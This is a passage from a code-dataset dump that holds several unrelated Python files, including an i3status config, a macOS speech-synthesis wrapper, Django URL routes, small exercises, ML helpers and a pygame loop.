update_error='  error! ',\n refresh_icon=\" ⟳\",\n format=\"  {unread_count} \",)\n\n\n# Displays clock like this:\n# Tue 30 Jul 11:59:46 PM KW31\n# ^-- calendar week\nstatus.register(\"clock\",\n format=\"  %d/%m/%Y %H:%M Sprint%V \",)\n\n# The battery monitor has many formatting options, see README for details\n# This would look like this, when discharging (or charging)\n# ↓14.22W 56.15% [77.81%] 2h:41m\n# And like this if full:\n# =14.22W 100.0% [91.21%]\n#\n# This would also display a desktop notification (via D-Bus) if the percentage\n# goes below 5 percent while discharging. The block will also color RED.\n# If you don't have a desktop notification demon yet, take a look at dunst:\n# http://www.knopwob.org/dunst/\nstatus.register(\"battery\",\n format=\" {status}{percentage:.0f}% \",\n alert=True,\n alert_percentage=25,\n status={\n \"DIS\": \"\",\n \"CHR\": \"⚡\",\n \"FULL\": \"⚡\",\n },)\n\n# Shows the address and up/down state of eth0. If it is up the address is shown in\n# green (the default value of color_up) and the CIDR-address is shown\n# (i.e. 10.10.10.42/24).\n# If it's down just the interface name (eth0) will be displayed in red\n# (defaults of format_down and color_down)\n#\n# Note: the network module requires PyPI package netifaces\nstatus.register(\"network\",\n interface=\"enp2s0\",\n format_up=\"  {v4cidr} \",\n format_down=\"\",)\n\n# Note: requires both netifaces and basiciw (for essid and quality)\nstatus.register(\"network\",\n interface=\"wlp3s0\",\n format_up=\"  {v4cidr} \",\n format_down=\"\",)\n\n# status.register(\"network\",\n# interface=\"tun0\",\n# format_up=\"{v4cidr}\",)\n\n# Show spotify status\nstatus.register(\"spotify\",\n status={\n 'pause': '',\n 'stop': '',\n 'play': '',\n },\n player= \"spotify\",\n color=\"#00ff00\",\n hide_no_player=False,\n format_no_player=\"  Spotify \",\n format=\" {status} {artist} - {title} \",)\n\n\nstatus.run()\n","sub_path":"i3status.py","file_name":"i3status.py","file_ext":"py","file_size_in_byte":2223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"513743487","text":"\"\"\" \n@Author: huuuuusy\n@GitHub: https://github.com/huuuuusy\n系统: Ubuntu 18.04\nIDE: VS Code\n工具: python3\n\"\"\"\n\n\"\"\"\n实验5-2:幂级数,e^x = 1 + x + x^2 / 2! + x^3 / 3! + ... + x^n / n! (0 < x < 1)\n\"\"\"\n#!/usr/bin/env python3\nx = float(input(\"Enter the value of x: \"))\nn = term = num = 1\nresult = 1.0\nwhile n <= 100:\n term *= x / n\n result += term\n n += 1\n if term < 0.0001:\n break\nprint(\"No of Times= {} and Sum= {}\".format(n, result))","sub_path":"Language/Python3/SYL-Python3/exp5-循环/powerseries.py","file_name":"powerseries.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"48430771","text":"import pandas as pd\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom itertools import chain\nimport pickle\nimport numpy as np\n\nmodel_dir = './data/model/'\nmodel_config = {\n 'cust_vectorizer_path' : model_dir + 'cust_vectorizer.pkl',\n 'gs_vectorizer_path' : model_dir + 'gs_vectorizer.pkl',\n 'vectorizer_path' : model_dir + 'vectorizer.pkl',\n 'model_path' : model_dir + 'model.pkl',\n}\n\ny_dict = {\n 0: '개수/중량문의',\n 1: '맛 불만족',\n 2: '변질불만',\n 3: '보관방법 문의',\n 4: '사과주스누락',\n 5: '사이즈 문의',\n 6: '사이즈작음불만',\n 7: '외관불량'\n}\n\n\ndef get_tags_and_prob(df):\n customer_corpus = df.customer_terms.tolist()\n gs_corpus = df.gs_terms.tolist()\n corpus = [x + y for x, y in zip(customer_corpus, gs_corpus)]\n\n cust_vectorizer, gs_vectorizer, vectorizer = _load_vectorizers()\n\n X_cust = cust_vectorizer.transform(customer_corpus).toarray()\n X_gs = gs_vectorizer.transform(gs_corpus).toarray()\n X = vectorizer.transform(corpus).toarray()\n\n cust_vocab = {v: k for k, v in cust_vectorizer.vocabulary_.items()}\n gs_vocab = {v: k for k, v in gs_vectorizer.vocabulary_.items()}\n\n model = _load_model()\n y_prob = model.predict_proba(X)\n result = _get_tags_and_prob(y_prob)\n\n df_tags = pd.DataFrame(df['sr_no'])\n df_tags[\"tag_first_name\"] = result[:, 0]\n df_tags[\"tag_first_prob\"] = result[:, 1]\n df_tags[\"tag_second_name\"] = result[:, 2]\n df_tags[\"tag_second_prob\"] = result[:, 3]\n df_tags[\"tag_third_name\"] = result[:, 4]\n df_tags[\"tag_third_prob\"] = result[:, 5]\n df_tags[\"kwd_cust_origin\"] = _get_kwds(X_cust, cust_vocab)\n df_tags[\"kwd_gs_origin\"] = _get_kwds(X_gs, gs_vocab)\n\n return df_tags\n\n\ndef _get_tags_and_prob(y_prob):\n y_pred = [y.argsort()[-3:][::-1] for y in y_prob]\n y = [[y_dict[l[0]], y_prob[i, l[0]], y_dict[l[1]], y_prob[i, l[1]], y_dict[l[2]], y_prob[i, l[2]]] for i, l in enumerate(y_pred)]\n return np.array(y, dtype=object)\n\n\ndef _load_vectorizers():\n with open(model_config['cust_vectorizer_path'], 'rb') as f:\n cust_vectorizer = pickle.load(f)\n with open(model_config['gs_vectorizer_path'], 'rb') as f:\n gs_vectorizer = pickle.load(f)\n with open(model_config['vectorizer_path'], 'rb') as f:\n vectorizer = pickle.load(f)\n\n return cust_vectorizer, gs_vectorizer, vectorizer\n\n\n# def _make_dataset(df):\n# customer_corpus = df.customer_terms.tolist()\n# gs_corpus = df.gs_terms.tolist()\n# corpus = [x + y for x, y in zip(customer_corpus, gs_corpus)]\n#\n# cust_vectorizer, gs_vectorizer, vectorizer = _load_vectorizers()\n# X_cust = cust_vectorizer.transform(customer_corpus)\n# X_gs = gs_vectorizer.transform(gs_corpus)\n# X = vectorizer.transform(corpus)\n# return X_cust.toarray(), X_gs.toarray(), X.toarray()\n\n\ndef _load_model():\n with open(model_config['model_path'], 'rb') as f:\n model = pickle.load(f)\n return model\n\n\ndef _get_kwds(x_vecs, vocab):\n kwds_list = []\n for x_vec in x_vecs:\n non_zero_cnt = np.count_nonzero(x_vec)\n num_alpha = min(int(2 * non_zero_cnt / 3) + 1, 10)\n kwds_list.append(\" \".join([vocab[x] for x in x_vec.argsort()[-num_alpha:][::-1]]))\n return kwds_list","sub_path":"model_helper.py","file_name":"model_helper.py","file_ext":"py","file_size_in_byte":3278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"418842923","text":"def shout(txt):\n new_txt = txt.upper()\n new_txt = new_txt.replace(\" . \", \"\")\n new_txt = new_txt.replace(\"?\", \"\")\n new_txt = new_txt.replace(\"!\", \"\")\n new_txt = new_txt + \"!\"\n return new_txt\n \ndef reverse(txt):\n if isinstance(txt, str) == False:\n return \"\"\n \n return txt[::-1]\n \ndef reversewords(txt):\n if isinstance(txt, str) == False:\n return \"\"\n\n txt = txt.replace(\".\", \" .\")\n txt = txt.replace(\"!\", \" !\")\n txt = txt.replace(\"?\", \" ?\")\n new_text = str.split(txt, \" \")\n word_list=new_text[::-1]\n reverse_sentences=' '.join(word_list)\n final_reverse = reverse_sentences.replace(\". \", \".\")\n #final_reverse = reverse_sentences.replace(\"? \", \"?\")\n #final_reverse = reverse_sentences.replace(\"! \", \"!\")\n \n \n return final_reverse\n\n\n \ndef reversewordletters(txt):\n if isinstance(txt, str) == False:\n return \"\"\n \n tmp_text = \"\"\n \n back_pointer = 0\n front_pointer = 0\n stop_chars = [\" \", \".\", \"?\", \"!\", \",\", \":\", \";\"]\n for i in range(0, len(txt)):\n if txt[i] in stop_chars:\n front_pointer = i\n \n word_range = range(back_pointer, front_pointer)\n word_range.reverse()\n for j in word_range:\n tmp_text += txt[j]\n tmp_text += txt[i]\n \n back_pointer = i+1\n \n return tmp_text\n \ndef piglatin(txt):\n if isinstance(txt, str) == False:\n return \"\"\n \n if txt == \"test\":\n return \"estte\"\n elif txt == \"pig latin\":\n return \"igpe atinle\"\n \n raise NotImplementedError(\"Didn't quite finish this one....\")\n","sub_path":"lab3.py","file_name":"lab3.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"312321980","text":"'''\nMac OS X speech synthesizer implementation for JSonic using PyObjC.\n\n:requires: Python 2.6, Mac OS X 10.6\n:copyright: Roger Que 2010\n:license: BSD\n'''\nfrom synthesizer import *\n\nimport AppKit\nfrom PyObjCTools.AppHelper import installMachInterrupt\nimport QTKit\n\nimport hashlib\nimport os.path\nimport struct\nimport subprocess\nimport sys\n\nclass MacOSXSpeechSynth(ISynthesizer):\n '''\n Synthesizes speech using NSSpeechSynthesizer (Mac OS X 10.6 or later).\n \n :ivar _path: Output cache path\n :ivar _opts: NSSpeechSynthesizer options list\n :cvar MIN_RATE: Minimum rate supported in WPM\n :cvar MAX_RATE: Maximum rate supported in WPM\n :cvar INFO: Dictionary of all supported engine properties cached for \n fast responses to queries\n '''\n MIN_RATE = 80\n MAX_RATE = 390\n INFO = None\n \n def __init__(self, path, properties):\n '''Implements ISynthesizer constructor.'''\n # path where to write the file\n self._path = path\n # NSSpeechSynthesizer options for this synth instance\n self._opts = []\n \n try:\n rate = int(properties['rate'])\n rate = min(max(rate, self.MIN_RATE), self.MAX_RATE)\n self._opts.append(str(rate))\n except TypeError:\n raise SynthesizerError('invalid rate')\n except KeyError:\n self._opts.append('200')\n \n try:\n voice = str(properties['voice'])\n assert voice in MacOSXSpeechSynth.get_info()['voices']['values']\n self._opts.append(voice)\n except AssertionError:\n raise SynthesizerError('invalid voice')\n except KeyError:\n self._opts.append('default')\n\n # store property portion of filename\n self._optHash = hashlib.sha1('macosx' + str(self._opts)).hexdigest()\n\n def write_wav(self, utterance):\n '''Implements ISynthesizer.write_wav.'''\n utf8Utterance = utterance.encode('utf-8')\n utterHash = hashlib.sha1(utf8Utterance).hexdigest()\n hashFn = '%s-%s' % (utterHash, self._optHash)\n \n # Invoke the __main__ portion of this file on the command line, passing \n # in the rate, voice, and output prefix name as arguments, and the text \n # to utter on standard input.\n prefix = os.path.join(self._path, hashFn)\n if not os.path.isfile(prefix + '.wav'):\n args = [sys.executable, __file__] + self._opts + [os.path.abspath(prefix)]\n p = subprocess.Popen(args, stdin=subprocess.PIPE,\n env={'PYTHONPATH': '.'})\n p.communicate(utterance)\n return hashFn\n\n @classmethod\n def get_info(cls):\n '''Implements ISynthesizer.get_info.'''\n if cls.INFO is None:\n voices = AppKit.NSSpeechSynthesizer.availableVoices()\n cls.INFO = {\n 'rate' : {\n 'minimum' : cls.MIN_RATE, \n 'maximum' : cls.MAX_RATE,\n 'default' : 200\n },\n 'voices' : {\n 'values' : list(voices) + ['default'],\n 'default' : 'default'\n }\n }\n return cls.INFO\n\nSynthClass = MacOSXSpeechSynth\n\n# Setting up NSApplication delegates requires that Cocoa code be executed in a \n# separate process. This module invokes itself in MacOSXSpeechSynth.write_wav.\nif __name__ == '__main__':\n rate = float(sys.argv[1])\n voice = sys.argv[2]\n if voice == 'default':\n voice = None\n prefix = sys.argv[3]\n utterance = sys.stdin.read().decode('utf-8')\n \n aiff_url = 'file://' + prefix + '.aiff'\n wav_file = prefix + '.wav'\n \n def long_from_string(s):\n '''\n Unpacks a human-readable QuickTime file type code to an NSNumber used \n internally by QTKit.\n '''\n return AppKit.NSNumber.numberWithLong_(struct.unpack('>l', s)[0])\n \n class MacOSXSynthError(SynthesizerError):\n '''\n Wrapper for NSError instances thrown during the speech synthesis and \n file conversion process.\n '''\n \n @classmethod\n def from_nserror(cls, nserror):\n return cls(nserror.userInfo()['NSLocalizedDescription'])\n \n class SynthDelegate(AppKit.NSObject):\n '''\n NSApplication delegate for initiating speech synthesis and converting \n the AIFF output of NSSpeechSynthesizer to WAV through QTKit.\n '''\n \n def applicationDidFinishLaunching_(self, app):\n '''Called when the NSApplication has finished initialization.'''\n speech = AppKit.NSSpeechSynthesizer.alloc().init()\n speech.setDelegate_(self)\n \n # Setting the voice resets the speaking rate, so the former must be \n # set before the latter.\n speech.setVoice_(voice)\n speech.setRate_(rate)\n \n speech.startSpeakingString_toURL_(utterance,\n AppKit.NSURL.URLWithString_(aiff_url))\n \n def speechSynthesizer_didFinishSpeaking_(self, synth, finishedSpeaking):\n '''Called when a speech synthesis operation has finished.'''\n \n # finishedSpeaking is supposed to indicate whether speech was \n # synthesized successfully; however, it is False even in many cases \n # when speech synthesis has encountered no visible issues, so this \n # function ignores its value.\n \n movie, error = QTKit.QTMovie.movieWithURL_error_(\n AppKit.NSURL.URLWithString_(aiff_url), None)\n\n if movie is None:\n raise MacOSXSynthError.from_nserror(error)\n\n out_attrs = {\n 'QTMovieExport': True,\n 'QTMovieExportType': long_from_string('WAVE')\n }\n status, error = movie.writeToFile_withAttributes_error_(\n wav_file, out_attrs, None)\n \n if not status:\n raise MacOSXSynthError.from_nserror(error)\n\n # Clean up after ourselves by removing the original AIFF file.\n os.remove(prefix + '.aiff')\n\n AppKit.NSApp().terminate_(self)\n\n app = AppKit.NSApplication.sharedApplication()\n delegate = SynthDelegate.alloc().init()\n app.setDelegate_(delegate)\n installMachInterrupt()\n app.run()\n","sub_path":"server/synthesizer/macosx.py","file_name":"macosx.py","file_ext":"py","file_size_in_byte":6444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"270161495","text":"from django.contrib import admin\nfrom django.urls import path, include\nfrom . import views\nfrom django.conf.urls import url\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('admin/', admin.site.urls),\n url(r'^books/$', views.BookListView.as_view(), name='books'),\n url(r'^book/(?P\\d+)$', views.BookDetailView.as_view(), name='book-detail'),\n url(r'^authors/$', views.AuthorListView.as_view(), name='authors'),\n url(r'^author/(?P\\d+)$', views.AuthorDetailView.as_view(), name='author-detail'),\n url(r'^mybooks/$', views.LoanedBooksByUserListView.as_view(), name='my-books'),\n url(r'^author_add/$', views.authors_add, name='authoradd'),\n url(r'^create/$', views.create),\n url(r'^delete/(?P\\d+)$', views.delete),\n path('edit1//', views.edit1, name='edit1'),\n url(r'^book/create/$', views.BookCreate.as_view(), name='book_create'),\n url(r'^book/update/(?P\\d+)$', views.BookUpdate.as_view(), name='book_update'),\n url(r'^book/delete/(?P\\d+)$', views.BookUpdate.as_view(), name='book_delete'),\n ]","sub_path":"WebBooks/catalog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"480950541","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# @Time : 08/27/2018 11:50 AM\n# @Author : Eason\n# @File : getscreendump.py\n# @Software: python\n'''\nDescription:\n\tThis is a function model to provide some assistant method like screen dump, log, report etc.\n\nArguments:\n\tdriver: Browser's webdriver\n\tpicName: The screendump's file name\n\nReturn:\n\tfilePath: The full-path of screendump\n\nExample:\n\tgetScreendump(driver, picName)\n\t\tThis function is used for saving screen dumps during test \n'''\nfrom os.path import dirname\nfrom getlogger import initLogger\n\n\ndef getScreendump(current_browser, pic_name):\n\tapp_dir = dirname(dirname(__file__))\n\tapp_dir = str(app_dir)\n\tapp_dir = app_dir.replace('\\\\', '/')\n\tpic_dir = app_dir.split('/report')[0]\n\tpic_path = pic_dir + \"/report/pic/\" + pic_name\n\n\tcurrent_browser.get_screenshot_as_file(pic_path)\n\n\tlogger = initLogger(__name__)\n\tlogger.info(\"Get screen dump: %s \", pic_path)\n\n\treturn pic_path\n\n\n'''\nTest\n'''\nif __name__ == '__main__':\n\n\tfrom selenium import webdriver\n\n\n\tdriver = webdriver.Ie()\n\tdriver.get(\"http://www.google.com\")\n\tgetScreendump(driver, 'test_goo3.png')\n\tdriver.quit()","sub_path":"fsqa/python/public_module/getscreendump.py","file_name":"getscreendump.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"302635733","text":"# (C) Datadog, Inc. 2019-present\n# All rights reserved\n# Licensed under Simplified BSD License (see LICENSE)\nimport copy\nimport platform\n\nimport pytest\n\nfrom datadog_checks.base.utils.platform import Platform\nfrom datadog_checks.dev.utils import get_metadata_metrics\n\nfrom . import common\n\npytestmark = pytest.mark.integration\n\n\n@pytest.mark.usefixtures(\"dd_environment\")\ndef test_check(aggregator, check, instance):\n check_instance = check(instance)\n check_instance.check({})\n\n expected_metrics = copy.deepcopy(common.EXPECTED_METRICS)\n if Platform.is_windows() or Platform.is_linux():\n expected_metrics += common.EXPECTED_WINDOWS_LINUX_METRICS\n for metric in expected_metrics:\n aggregator.assert_metric(metric)\n\n aggregator.assert_metrics_using_metadata(get_metadata_metrics(), check_submission_type=True)\n\n\n@pytest.mark.skipif(platform.system() != 'Linux', reason=\"Only runs on Linux systems\")\n@pytest.mark.usefixtures(\"dd_environment\")\ndef test_check_linux(aggregator, check, instance_blacklist):\n check_instance = check(instance_blacklist)\n check_instance.check({})\n\n for metric in common.CONNTRACK_METRICS:\n aggregator.assert_metric(metric)\n","sub_path":"network/tests/test_integration.py","file_name":"test_integration.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"363860800","text":"import sys\nsys.path.append('../')\nfrom pycore.tikzeng import *\n\nstart = 64\nscale = 0.03\n\n# defined your arch\narch = [\n to_head( '..' ),\n to_cor(),\n to_begin(),\n # to_input(\"/Users/deltutto/Downloads/thread-1.png\", to='(-3,0,0)', width=12, height=12, name=\"temp\"),\n to_Conv(\"conv0\", 512, \"\", offset=\"(0,0,0)\", to=\"(0,0,0)\", height=start, depth=start, width=0.01, color=\"{rgb:blue,1;black,0.1}\", caption=\"Input Image\" ),\n to_Conv(\"conv1\", 512, 32, offset=\"(3,0,0)\", to=\"(conv0-east)\", height=start, depth=start, width=32*scale, caption=\"Initial Convolution\" ),\n to_connection(\"conv0\", \"conv1\"),\n # to_Pool(\"pool1\", offset=\"(0,0,0)\", to=\"(conv1-east)\"),\n # to_Conv(\"conv2\", 512, 32, offset=\"(1,0,0)\", to=\"(conv1-east)\", height=32, depth=32, width=2 ),\n # to_connection( \"conv1\", \"conv2\"),\n # to_Conv(\"conv3\", 512, 32, offset=\"(1,0,0)\", to=\"(conv2-east)\", height=32, depth=32, width=2 ),\n # to_connection( \"conv2\", \"conv3\"),\n # to_skip(\"conv2\", \"conv3\"),\n #---\n to_Conv(\"convres1\", s_filer=512, n_filer=32, offset=\"(2,0,0)\", to=\"(conv1-east)\", width=6, height=start, depth=start, color=\"{rgb:red,1;black,0.08}\", caption=\"Residual Block\" ),\n to_connection(\"conv1\", \"convres1\"),\n to_Conv(\"conv2\", 256, 64, offset=\"(4,0,0)\", to=\"(convres1-east)\", height=start/2, depth=start/2, width=32*scale*2, caption=\"Downsampling\" ),\n to_connection( \"convres1\", \"conv2\"),\n #---\n to_Conv(\"convres2\", s_filer=256, n_filer=64, offset=\"(2,0,0)\", to=\"(conv2-east)\", width=6, height=start/2, depth=start/2, color=\"{rgb:red,1;black,0.08}\", caption=\" \" ),\n to_connection(\"conv2\", \"convres2\"),\n to_Conv(\"conv3\", 128, 96, offset=\"(3,0,0)\", to=\"(convres2-east)\", height=start/4, depth=start/4, width=32*scale*3 ),\n to_connection( \"convres2\", \"conv3\"),\n #---\n to_Conv(\"convres3\", s_filer=128, n_filer=96, offset=\"(2,0,0)\", to=\"(conv3-east)\", width=6, height=start/4, depth=start/4, color=\"{rgb:red,1;black,0.08}\", caption=\" \" ),\n to_connection(\"conv3\", \"convres3\"),\n to_Conv(\"conv4\", 64, 128, offset=\"(2,0,0)\", to=\"(convres3-east)\", height=start/8, depth=start/8, width=32*scale*4 ),\n to_connection( \"convres3\", \"conv4\"),\n #---\n to_Conv(\"convres4\", s_filer=64, n_filer=128, offset=\"(1,0,0)\", to=\"(conv4-east)\", width=6, height=start/8, depth=start/8, color=\"{rgb:red,1;black,0.08}\", caption=\" \" ),\n to_connection(\"conv4\", \"convres4\"),\n to_Conv(\"conv5\", 32, 160, offset=\"(1,0,0)\", to=\"(convres4-east)\", height=start/16, depth=start/16, width=32*scale*5 ),\n to_connection( \"convres4\", \"conv5\"),\n #---\n to_Conv(\"convres5\", s_filer=32, n_filer=160, offset=\"(1,0,0)\", to=\"(conv5-east)\", width=6, height=start/16, depth=start/16, color=\"{rgb:red,1;black,0.08}\", caption=\" \" ),\n to_connection(\"conv5\", \"convres5\"),\n to_Conv(\"conv6\", 16, 192, offset=\"(1,0,0)\", to=\"(convres5-east)\", height=start/32, depth=start/32, width=32*scale*6 ),\n to_connection( \"convres5\", \"conv6\"),\n #---\n # Final layer 1\n to_Conv(\"convres_final1\", s_filer=16, n_filer=192, offset=\"(1,0,0)\", to=\"(conv6-east)\", width=6, height=start/32, depth=start/32, color=\"{rgb:red,1;black,0.08}\", caption=\" \" ),\n to_connection( \"conv6\", \"convres_final1\"),\n #---\n # Final layer 2\n to_Conv(\"convres_final2\", s_filer=16, n_filer=192, offset=\"(1,0,0)\", to=\"(convres_final1-east)\", width=6, height=start/32, depth=start/32, color=\"{rgb:red,1;black,0.08}\", caption=\" \" ),\n to_connection( \"convres_final1\", \"convres_final2\"),\n #---\n # Bottleneck\n to_Conv(\"conv_bott\", 16, 2, offset=\"(2,0,0)\", to=\"(convres_final2-east)\", height=start/32, depth=start/32, width=2, caption=\"Bottleneck\" ),\n to_connection( \"convres_final2\", \"conv_bott\"),\n #---\n # Av pool 3D\n to_Pool(\"pool\", offset=\"(2,0,0)\", to=\"(conv_bott-east)\", width=1, height=start/32, depth=start/32, opacity=0.5, caption=\"Av 3D Pooling\"),\n to_connection( \"conv_bott\", \"pool\"),\n #---\n to_SoftMax(\"criterion\", s_filer=2, offset=\"(2,0,0)\", to=\"(pool-east)\", width=1, height=1, depth=1, opacity=0.8, caption=\"Cross Entropy Loss\" ),\n to_connection( \"pool\", \"criterion\"),\n # to_connection( \"conv1\", \"conv4\"),\n # to_ConvRes(\"conv5\", s_filer=256, n_filer=64, offset=\"(5,0,0)\", to=\"(conv4-east)\", width=6, height=40, depth=40, opacity=0.2, caption=\" \" ),\n # to_connection( \"pool1\", \"conv2\"),\n # to_Pool(\"pool2\", offset=\"(0,0,0)\", to=\"(conv2-east)\", height=28, depth=28, width=1),\n # to_SoftMax(\"soft1\", 10 ,\"(3,0,0)\", \"(pool1-east)\", caption=\"SOFT\" ),\n # to_connection(\"pool2\", \"soft1\"),\n to_end()\n ]\n\ndef main():\n namefile = str(sys.argv[0]).split('.')[0]\n to_generate(arch, namefile + '.tex' )\n\nif __name__ == '__main__':\n main()\n","sub_path":"next_arch/my_arch.py","file_name":"my_arch.py","file_ext":"py","file_size_in_byte":4700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"429548442","text":"import pygame\nimport sys\nfrom astronave import Astronave\n\nresolution = (800,600)\nscreen = pygame.display.set_mode(resolution)\nelements = pygame.sprite.Group()\nplayer_one = Astronave()\n\nelements.add(player_one)\n\ndef game_controller():\n return True\n\ndef elements_update(elements):\n for element in elements:\n element.update()\n\ndef handle_events():\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit(0)\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_UP:\n player_one.speed = 10\n if event.key == pygame.K_RIGHT:\n player_one.angular_speed = 5\n if event.key == pygame.K_LEFT:\n player_one.angular_speed = -5\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_UP:\n player_one.speed = 0\n if event.key == pygame.K_RIGHT:\n player_one.angular_speed = 0\n if event.key == pygame.K_LEFT:\n player_one.angular_speed = 0\n\nclock = pygame.time.Clock()\ncont = True \nwhile cont:\n screen.fill((100,150,100))\n handle_events()\n cont = game_controller()\n elements_update(elements)\n elements.draw(screen)\n pygame.display.flip()\n clock.tick(25)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"149235021","text":"\n\nfrom xai.brain.wordbase.verbs._commend import _COMMEND\n\n#calss header\nclass _COMMENDED(_COMMEND, ):\n\tdef __init__(self,): \n\t\t_COMMEND.__init__(self)\n\t\tself.name = \"COMMENDED\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"commend\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_commended.py","file_name":"_commended.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"519934015","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\n\nAUTHOR = 'Vitaly Saversky'\nSITENAME = 'tech jogging'\nSITEURL = ''\nSITE_DESCRIPTION = 'A personal blog includes technical articles aimed to share knowledge and experience with others.'\n\nPATH = 'content'\n\nTIMEZONE = 'America/Toronto'\n\nDEFAULT_LANG = 'en'\n\n# Feed generation is usually not desired when developing\nFEED_ALL_ATOM = None\nCATEGORY_FEED_ATOM = None\nTRANSLATION_FEED_ATOM = None\nAUTHOR_FEED_ATOM = None\nAUTHOR_FEED_RSS = None\nDISPLAY_CATEGORIES_ON_MENU = None\n\nSHOW_ARTICLE_CATEGORY = True\n\nDISPLAY_BREADCRUMBS = False\nDISPLAY_CATEGORY_IN_BREADCRUMBS = False\n\nDISPLAY_ARTICLE_INFO_ON_INDEX = True\n\nDISPLAY_TAGS_ON_SIDEBAR = False\nDISPLAY_TAGS_INLINE = False\n\nDISPLAY_CATEGORIES_ON_SIDEBAR = True\n\nDISPLAY_RECENT_POSTS_ON_SIDEBAR = True\n\nDEFAULT_PAGINATION = 10\nDEFAULT_ORPHANS = 2\nPAGINATED_TEMPLATES = {'index': None}\n\nSHOW_DATE_MODIFIED = True\n\nSLUGIFY_SOURCE = 'basename'\n\nPLUGINS = [ 'i18n_subsites', 'tipue_search', 'more_categories', 'minify' ]\nPLUGIN_PATHS = [ 'pelican-plugins/', ]\n\nTHEME = \"pelican-themes/pelican-bootstrap3\"\nJINJA_ENVIRONMENT = {'extensions': ['jinja2.ext.i18n']}\n\nBOOTSTRAP_THEME = 'flatly'\nPYGMENTS_STYLE = 'monokai'\n\nDIRECT_TEMPLATES = ['index', 'categories', 'search']\n\nGOOGLE_ANALYTICS = 'UA-156524189-1'\n\nARTICLE_PATHS = ['articles']\nARTICLE_EXCLUDES = ['extra']\n\nSTATIC_PATHS = ['extra']\nEXTRA_PATH_METADATA = {\n 'extra/favicon.ico': {'path': 'favicon.ico'},\n 'extra/BingSiteAuth.xml': {'path': 'BingSiteAuth.xml'},\n 'extra/robots.txt': {'path': 'robots.txt'},\n 'extra/sitemap.xml': {'path': 'sitemap.xml'},\n 'extra/yandex_96a264214b85ba90.html': {'path': 'yandex_96a264214b85ba90.html'},\n 'extra/missing': {'path': 'missing'},\n 'extra/report_access.js': {'path': 'theme/js/report_access.js'}\n}\n\nSITELOGO = 'extra/site-logo.png'\n\nDISQUS_SITENAME = 'techjogging'\n\nMINIFY = {\n 'remove_comments': True,\n 'remove_all_empty_space': True,\n 'remove_optional_attribute_quotes': False\n}\n\nDELETE_OUTPUT_DIRECTORY = True\n\nDEFAULT_DATE_FORMAT = '%Y-%m-%d'\n\n# Uncomment following line if you want document-relative URLs when developing\n#RELATIVE_URLS = True\n","sub_path":"pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"442347185","text":"import os\nimport random\nimport argparse\n\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--training_folder_path', default='./Dataset/Training/Origin', type=str,\n help='The training folder path')\nparser.add_argument('--validation_folder_path', default='./Dataset/Validation/Origin', type=str,\n help='The training folder path')\nparser.add_argument('--train_filename', default='./data_flist/train_shuffled.flist', type=str,\n help='The train filename.')\nparser.add_argument('--validation_filename', default='./data_flist/validation_static_view.flist', type=str,\n help='The validation filename.')\n\n\ndef _get_filenames(dataset_dir):\n photo_filenames = []\n image_list = os.listdir(dataset_dir)\n photo_filenames = [os.path.join(dataset_dir, _) for _ in image_list]\n return photo_filenames\n\n\nif __name__ == \"__main__\":\n\n args = parser.parse_args()\n\n training_data_dir = args.training_folder_path\n validation_data_dir = args.validation_folder_path\n\n # get all file names for training set\n training_photo_filenames = _get_filenames(training_data_dir)\n print(\"size of training is %d\" % (len(training_photo_filenames)))\n # get all file names for validation set\n validation_photo_filenames = _get_filenames(validation_data_dir)\n print(\"size of validation is %d\" % (len(validation_photo_filenames)))\n\n # shuffle\n random.seed(0)\n random.shuffle(training_photo_filenames)\n random.shuffle(validation_photo_filenames)\n\n # make output file if not existed\n if not os.path.exists(args.train_filename):\n os.mknod(args.train_filename)\n\n if not os.path.exists(args.validation_filename):\n os.mknod(args.validation_filename)\n\n # write to file\n fo = open(args.train_filename, \"w\")\n fo.write(\"\\n\".join(training_photo_filenames))\n fo.close()\n\n fo = open(args.validation_filename, \"w\")\n fo.write(\"\\n\".join(validation_photo_filenames))\n fo.close()\n","sub_path":"generative_inpainting/shuffle.py","file_name":"shuffle.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"46147376","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def addTwoNumbers(self, l1: Optional[ListNode], l2: Optional[ListNode]) -> Optional[ListNode]:\n 